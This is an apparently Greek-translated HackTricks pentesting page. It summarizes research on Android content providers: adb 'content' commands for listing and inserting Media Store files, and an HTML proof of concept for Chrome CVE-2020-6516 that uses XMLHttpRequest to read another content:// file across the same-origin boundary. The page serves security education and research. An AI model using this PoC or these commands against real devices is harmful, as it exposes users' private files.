hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

8.7 KiB
Raw Blame History

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Αυτό είναι ένα σύνοψη του άρθρου https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Καταχώρηση Αρχείων στο Media Store

Για να καταχωρήσετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:

$ content query --uri content://media/external/file

Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζονται μόνο ο αναγνωριστικός αριθμός και η διαδρομή του κάθε ευρετηριασμένου αρχείου:

$ content query --uri content://media/external/file --projection _id,_data

Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο content:// URI. Πληροφορίες σχετικά με τις διαδρομές για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία manifest των εφαρμογών ή από τον πηγαίο κώδικα του πλαισίου εφαρμογών Android.

Πρόσβαση του Chrome σε Πάροχους Περιεχομένου

Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος content://, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να επιδείξουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:

Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Το αρχείο μπορεί να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.

Για παράδειγμα, για να εμφανιστούν οι αρχείο που σχετίζονται με μια συγκεκριμένη εφαρμογή:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Παράκαμψη του Same-Origin-Policy

Το Same Origin Policy (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες να αλληλεπιδρούν με πόρους από διαφορετικές προέλευσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στην αποτροπή διαρροών πληροφοριών και επιθέσεων cross-site request forgery. Ο Chrome θεωρεί το content:// ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.

Ωστόσο, η CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονται μέσω ενός URL content://. Στην πράξη, ο κώδικας JavaScript από ένα URL content:// μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL content://, πράγμα που αποτελούσε σημαντικό πρόβλημα ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες της Android 10, όπου δεν είχε εφαρμοστεί η scoped storage.

Το παρακάτω παράδειγμα επίδειξης αποδεικνύει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά τη μεταφόρτωσή του στον φάκελο /sdcard και την προσθήκη του στο Media Store, χρησιμοποιεί το XMLHttpRequest στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει το περιεχόμενο ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.

Παράδειγμα HTML επίδειξης:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: